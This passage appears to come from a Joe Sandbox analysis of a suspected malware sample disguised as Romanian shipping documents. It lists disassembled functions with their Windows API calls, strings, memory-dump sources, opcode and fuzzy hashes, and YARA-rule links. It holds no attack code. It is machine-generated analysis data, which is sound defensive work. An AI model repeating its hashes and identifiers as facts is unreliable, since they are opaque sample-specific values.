                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                • String ID: @$ThumbnailClass
                                                • API String ID: 1788623398-1539354611
                                                • Opcode ID: b85ad0ddace28c619847aa40a80b0926cc9c68d366f01ec57bb446f9a662e6b1
                                                • Instruction ID: 9c6537400416b2dadf3a16f706e6d294007b6dc8d4a0bdd58063aff2f96af14a
                                                • Opcode Fuzzy Hash: b85ad0ddace28c619847aa40a80b0926cc9c68d366f01ec57bb446f9a662e6b1
                                                • Instruction Fuzzy Hash: 6C81AF711082099FDB14DF14C881FBA7BECEF84314F148469FE999A095DB34DD4ACBA2
                                                Function 00A2A1B9 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 205windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A2A259
                                                • DestroyWindow.USER32(?,?), ref: 00A2A2D3
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00A2A34D
                                                • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00A2A36F
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A2A382
                                                • DestroyWindow.USER32(00000000), ref: 00A2A3A4
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,009A0000,00000000), ref: 00A2A3DB
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A2A3F4
                                                • GetDesktopWindow.USER32 ref: 00A2A40D
                                                • GetWindowRect.USER32(00000000), ref: 00A2A414
                                                • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00A2A42C
                                                • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00A2A444
                                                  • Part of subcall function 009A25DB: GetWindowLongW.USER32(?,000000EB), ref: 009A25EC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
                                                • String ID: 0$@U=u$tooltips_class32
                                                • API String ID: 1297703922-1130792468
                                                • Opcode ID: c36271601b804f96846bcfb05f8ca44e3ef867aa3b3d87235d0fd01491a83362
                                                • Instruction ID: ab03e22ba986d7493481afa50fad606486338658229a098d14248bc320349fdf
                                                • Opcode Fuzzy Hash: c36271601b804f96846bcfb05f8ca44e3ef867aa3b3d87235d0fd01491a83362
                                                • Instruction Fuzzy Hash: 0B71AB75540245AFD721DF68DC49F6A7BF6FB98700F04492CF9868B2A0C7B0E906CB62
                                                Function 00A2C5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • DragQueryPoint.SHELL32(?,?), ref: 00A2C627
                                                  • Part of subcall function 00A2AB37: ClientToScreen.USER32(?,?), ref: 00A2AB60
                                                  • Part of subcall function 00A2AB37: GetWindowRect.USER32(?,?), ref: 00A2ABD6
                                                  • Part of subcall function 00A2AB37: PtInRect.USER32(?,?,00A2C014), ref: 00A2ABE6
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00A2C690
                                                • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00A2C69B
                                                • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00A2C6BE
                                                • _wcscat.LIBCMT ref: 00A2C6EE
                                                • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00A2C705
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00A2C71E
                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00A2C735
                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00A2C757
                                                • DragFinish.SHELL32(?), ref: 00A2C75E
                                                • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00A2C851
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$@U=u
                                                • API String ID: 169749273-762882726
                                                • Opcode ID: 96925d22f96732d8761a15c7c2ba7ecccf74a98d7f244fa71527c5fac2137de0
                                                • Instruction ID: f987360ca10052cd3aaff9c93b12d43b56cfd37934f220ba9fcd3791c4211934
                                                • Opcode Fuzzy Hash: 96925d22f96732d8761a15c7c2ba7ecccf74a98d7f244fa71527c5fac2137de0
                                                • Instruction Fuzzy Hash: 01613A71508300AFC711EFA8D885EAFBBF8FBC9710F40092EF595961A1DB709949CB92
                                                Function 009FABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __wcsnicmp
                                                • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                • API String ID: 1038674560-1810252412
                                                • Opcode ID: ef67bc4870011d2da306352d9f578b06aaee0eac02a82e98771fdddb2bbbb2a0
                                                • Instruction ID: 1e2fc39ebc643a13871b9a07454ce5b0a703cc9e3f5f99d47dfe418b4b08b72c
                                                • Opcode Fuzzy Hash: ef67bc4870011d2da306352d9f578b06aaee0eac02a82e98771fdddb2bbbb2a0
                                                • Instruction Fuzzy Hash: 2D3162B1A48209BBDA14EA60ED43FBEB7A8BF51751F600819FA45710D1EF616F08C692
                                                Function 00A14FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadCursorW.USER32(00000000,00007F8A), ref: 00A15013
                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00A1501E
                                                • LoadCursorW.USER32(00000000,00007F03), ref: 00A15029
                                                • LoadCursorW.USER32(00000000,00007F8B), ref: 00A15034
                                                • LoadCursorW.USER32(00000000,00007F01), ref: 00A1503F
                                                • LoadCursorW.USER32(00000000,00007F81), ref: 00A1504A
                                                • LoadCursorW.USER32(00000000,00007F88), ref: 00A15055
                                                • LoadCursorW.USER32(00000000,00007F80), ref: 00A15060
                                                • LoadCursorW.USER32(00000000,00007F86), ref: 00A1506B
                                                • LoadCursorW.USER32(00000000,00007F83), ref: 00A15076
                                                • LoadCursorW.USER32(00000000,00007F85), ref: 00A15081
                                                • LoadCursorW.USER32(00000000,00007F82), ref: 00A1508C
                                                • LoadCursorW.USER32(00000000,00007F84), ref: 00A15097
                                                • LoadCursorW.USER32(00000000,00007F04), ref: 00A150A2
                                                • LoadCursorW.USER32(00000000,00007F02), ref: 00A150AD
                                                • LoadCursorW.USER32(00000000,00007F89), ref: 00A150B8
                                                • GetCursorInfo.USER32(?), ref: 00A150C8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Cursor$Load$Info
                                                • String ID:
                                                • API String ID: 2577412497-0
                                                • Opcode ID: fdab9fb676e5b4afd37482dd10ae012dbdf7213eb8a791b25e46d010f60f7fd5
                                                • Instruction ID: c080bf4c957b0e5044bfe19ce9697fc4bcf6a72feb673bb47a84c845720eb86b
                                                • Opcode Fuzzy Hash: fdab9fb676e5b4afd37482dd10ae012dbdf7213eb8a791b25e46d010f60f7fd5
                                                • Instruction Fuzzy Hash: 953116B1D08319AADF109FB68C899AEBFF8FF44750F50453AA50CE7280DA7865418F91
                                                Function 00A24392 Relevance: 24.8, APIs: 2, Strings: 12, Instructions: 251windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 00A24424
                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A2446F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharMessageSendUpper
                                                • String ID: @U=u$CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                • API String ID: 3974292440-383632319
                                                • Opcode ID: 074b572df8ad7784fce46a6d147b7aef9d41e7223318de9ea2ea73d6073d7701
                                                • Instruction ID: ac9665610fab89f18b4ebe0eee7bdb04617fcceaafa7f2f4463251d0d1ced465
                                                • Opcode Fuzzy Hash: 074b572df8ad7784fce46a6d147b7aef9d41e7223318de9ea2ea73d6073d7701
                                                • Instruction Fuzzy Hash: 619148706047119BCB04EF28C451B6EB7A1BFDA354F15886CF8965B3A2CB35ED4ACB81
                                                Function 00A2B7FE Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 197windowlibraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00A2B8B4
                                                • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00A26B11,?), ref: 00A2B910
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00A2B949
                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00A2B98C
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00A2B9C3
                                                • FreeLibrary.KERNEL32(?), ref: 00A2B9CF
                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00A2B9DF
                                                • DestroyIcon.USER32(?), ref: 00A2B9EE
                                                • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00A2BA0B
                                                • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00A2BA17
                                                  • Part of subcall function 009C2EFD: __wcsicmp_l.LIBCMT ref: 009C2F86
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                • String ID: .dll$.exe$.icl$@U=u
                                                • API String ID: 1212759294-1639919054
                                                • Opcode ID: 60bda626f5f8cd2ce412f99d19f85e22900b3ce30b8916cea50a9d996d2ad00b
                                                • Instruction ID: d6237cbd2b33ba9048c814b0b81496b5bbaa8237710782c9e1d81d33b40fb352
                                                • Opcode Fuzzy Hash: 60bda626f5f8cd2ce412f99d19f85e22900b3ce30b8916cea50a9d996d2ad00b
                                                • Instruction Fuzzy Hash: 0261CD71910229BFEB24DF68DC41FBA7BB8FB08710F10452AFA15D61D1DB74A981DBA0
                                                Function 00A0A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                • CharLowerBuffW.USER32(?,?), ref: 00A0A3CB
                                                • GetDriveTypeW.KERNEL32 ref: 00A0A418
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A0A460
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A0A497
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A0A4C5
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
                                                • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                • API String ID: 2698844021-4113822522
                                                • Opcode ID: 93fb575234605a5557b1d2a6d929a52afead8fa9a1775e9562c53340942f4c0c
                                                • Instruction ID: cbd1d25e53632baec437c6f882a1b85aa08212f7d2e992b13266881409fc9d2a
                                                • Opcode Fuzzy Hash: 93fb575234605a5557b1d2a6d929a52afead8fa9a1775e9562c53340942f4c0c
                                                • Instruction Fuzzy Hash: 78515C751043049FC700EF14C892A6AB7F4FF99758F00486DF896572A1DB35AD0ACB92
                                                Function 009FF8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,009DE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 009FF8DF
                                                • LoadStringW.USER32(00000000,?,009DE029,00000001), ref: 009FF8E8
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                • GetModuleHandleW.KERNEL32(00000000,00A65310,?,00000FFF,?,?,009DE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 009FF90A
                                                • LoadStringW.USER32(00000000,?,009DE029,00000001), ref: 009FF90D
                                                • __swprintf.LIBCMT ref: 009FF95D
                                                • __swprintf.LIBCMT ref: 009FF96E
                                                • _wprintf.LIBCMT ref: 009FFA17
                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 009FFA2E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
                                                • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                • API String ID: 984253442-2268648507
                                                • Opcode ID: 527a88da0026e24fb77aa57e24f5d90ee4ccb32727ced12a1ecf044c82507b32
                                                • Instruction ID: 65d3d09f5e6aa58e36c38c08618c2197c220db20feb410a0ad8d33a7ffea18a2
                                                • Opcode Fuzzy Hash: 527a88da0026e24fb77aa57e24f5d90ee4ccb32727ced12a1ecf044c82507b32
                                                • Instruction Fuzzy Hash: 2E414D7290020DAACF04EBE0DD97FFEB778AF95300F500465B605B6192EA356F49CBA1
                                                Function 00A0D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                Download Yara Rule
                                                APIs
                                                • __wsplitpath.LIBCMT ref: 00A0DA10
                                                • _wcscat.LIBCMT ref: 00A0DA28
                                                • _wcscat.LIBCMT ref: 00A0DA3A
                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A0DA4F
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A0DA63
                                                • GetFileAttributesW.KERNEL32(?), ref: 00A0DA7B
                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00A0DA95
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00A0DAA7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                • String ID: *.*
                                                • API String ID: 34673085-438819550
                                                • Opcode ID: 7468b4ea8905a1c7cc101cdca5ac3380c99b1e0fff2aba9c3eb337c0b12a1c7c
                                                • Instruction ID: bcf1ef9739274dbfe11793348874e40414104d56e91b16d3c2996ef73e292236
                                                • Opcode Fuzzy Hash: 7468b4ea8905a1c7cc101cdca5ac3380c99b1e0fff2aba9c3eb337c0b12a1c7c
                                                • Instruction Fuzzy Hash: 5081A5726043499FCB24DFA8D844A6EB7E4BF89350F14482EF889D7291E734DD45CB92
                                                Function 00A2C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00A2C1FC
                                                • GetFocus.USER32 ref: 00A2C20C
                                                • GetDlgCtrlID.USER32(00000000), ref: 00A2C217
                                                • _memset.LIBCMT ref: 00A2C342
                                                • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00A2C36D
                                                • GetMenuItemCount.USER32(?), ref: 00A2C38D
                                                • GetMenuItemID.USER32(?,00000000), ref: 00A2C3A0
                                                • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00A2C3D4
                                                • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00A2C41C
                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00A2C454
                                                • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00A2C489
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                • String ID: 0
                                                • API String ID: 1296962147-4108050209
                                                • Opcode ID: c45435666cef808565c279b08658e7d7a7fe3cbbfec009bfd74f27c0deb83ab0
                                                • Instruction ID: 100b3d2b1604366c4306dee77fbedda4f5d02be62ddb5717036fe383c88bf9d2
                                                • Opcode Fuzzy Hash: c45435666cef808565c279b08658e7d7a7fe3cbbfec009bfd74f27c0deb83ab0
                                                • Instruction Fuzzy Hash: 9D817E705083219FD720DF68E994ABFBBE4EB88724F10493DF99597291C770D905CB92
                                                Function 00A1731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDC.USER32(00000000), ref: 00A1738F
                                                • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00A1739B
                                                • CreateCompatibleDC.GDI32(?), ref: 00A173A7
                                                • SelectObject.GDI32(00000000,?), ref: 00A173B4
                                                • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00A17408
                                                • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00A17444
                                                • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00A17468
                                                • SelectObject.GDI32(00000006,?), ref: 00A17470
                                                • DeleteObject.GDI32(?), ref: 00A17479
                                                • DeleteDC.GDI32(00000006), ref: 00A17480
                                                • ReleaseDC.USER32(00000000,?), ref: 00A1748B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                • String ID: (
                                                • API String ID: 2598888154-3887548279
                                                • Opcode ID: 196f0cb20836ba753daf45d68d9821f2c9952d5d9f94074d3e9593bbe7649adc
                                                • Instruction ID: e04542e9b39088530a5a4c8cdd80d96b11e0dff9ceba41e6540ee83e4d83facc
                                                • Opcode Fuzzy Hash: 196f0cb20836ba753daf45d68d9821f2c9952d5d9f94074d3e9593bbe7649adc
                                                • Instruction Fuzzy Hash: B9514875904309EFCB25CFA8DC85EAEBBB9EF48310F14852DF95A9B211D731A941CB60
                                                Function 00A04F75 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 72sleepwindowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • timeGetTime.WINMM ref: 00A04F7A
                                                  • Part of subcall function 009C049F: timeGetTime.WINMM(?,753DB400,009B0E7B), ref: 009C04A3
                                                • Sleep.KERNEL32(0000000A), ref: 00A04FA6
                                                • EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00A04FCA
                                                • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00A04FEC
                                                • SetActiveWindow.USER32 ref: 00A0500B
                                                • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00A05019
                                                • SendMessageW.USER32(00000010,00000000,00000000), ref: 00A05038
                                                • Sleep.KERNEL32(000000FA), ref: 00A05043
                                                • IsWindow.USER32 ref: 00A0504F
                                                • EndDialog.USER32(00000000), ref: 00A05060
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                • String ID: @U=u$BUTTON
                                                • API String ID: 1194449130-2582809321
                                                • Opcode ID: b7f925ae4e79767ba08aafecbd67d4ed2db6131adc6c290cf37f76ef750dcfe1
